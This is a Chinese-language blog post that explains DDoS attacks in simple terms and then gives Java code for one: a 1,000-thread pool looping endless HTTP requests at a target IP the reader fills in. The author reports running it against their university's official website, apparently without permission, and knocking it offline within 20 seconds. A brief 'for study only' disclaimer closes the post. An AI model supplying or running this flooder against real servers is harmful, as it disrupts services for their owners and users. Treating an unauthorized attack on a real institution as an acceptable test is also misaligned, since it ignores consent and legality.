DDoS攻击简单理解及Java实现

以前租云服务器,会看到DDoS防御的选项,由于租用的是测试服务器,也从来没选过这个选项.

今天,我们就聊一聊DDoS攻击是怎么回事.

首先,我花了一张图来简单的描述一下这个过程.

DDoS攻击简单理解及Java实现

黑客机一般会控制几百台,甚至上千台肉鸡,同时访问一台服务器,造成服务器的网络阻塞甚至瘫痪.

我将这个过程描述为DDoS攻击,这只是我个人的理解,如果有什么其他的见解,可以在评论区评论或者加微信私聊我,

黑客一般会在肉鸡上安装代理通讯程序,一旦黑客机启动,大量的肉鸡便开始进行攻击.

那么看一下在Java中该如何实现呢.

首先看一下我的第一种思路(错误的);

利用Java的定时任务

public static void main(String[] args){
    Timer time = new Timer();
    time.schedule(new Mytast(), 1000, 1);   //1s之后开始执行,每1秒执行1000次,参数单位(毫秒)
}

Mytask中是一个访问url请求的线程.

结果发现,请求是成功的,结果测试方的网站并没有受到一丝影响.

原因是什么呢,我们只有一个线程,虽然定时器定时器定义的是每秒执行1000次,速度是完全达不到的,而且在Mytask中我还模拟了浏览器访问,不仅占用了大量的本地网络资源,还没什么用.

后来想到使用多线程来模拟多个肉鸡同时攻击,划重点,是同时,不是有顺序的一个一个攻击.只有同时大量的访问才会对目标服务器造成影响.

下面的代码借鉴了网上的方案,找了半天都是转载,也没找到原创作者,在此先表以致谢,我也是开源世界中的一员,毕竟共同进步才是进步嘛!

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * Created by 94829 on 2018-06-13.
 */
public class ddos {
    public static void main(String[] args) {
        //利用线程池创建1000个线程
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread = new Mythread();
        Thread thread = new Thread(mythread);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread);
        }
    }
}

class Mythread implements Runnable {
    public void run() {
        while (true) {
            try {
                URL url = new URL("http://你要攻击的IP/");
                URLConnection conn = url.openConnection();
                System.out.println("发包成功!");
                BufferedInputStream bis = new BufferedInputStream(
                        conn.getInputStream());
                byte[] bytes = new byte[1024];
                int len = -1;
                StringBuffer sb = new StringBuffer();

                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        System.out.println("攻击成功!");
                        bis.close();
                    }
                }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }

        }
    }
}

我是用我们学校的服务器作为测试对象的,大学的官网服务器是最容易测试的.

不到20秒就已经无法访问了,也算是完成的简单的DDoS攻击.

声明:以上代码仅供学习,请勿用于非法途径,如不听劝告,造成的后果,自行承担.

富强、*、文明、和谐、*、平等、公正、法治 爱国、敬业、诚信、友善;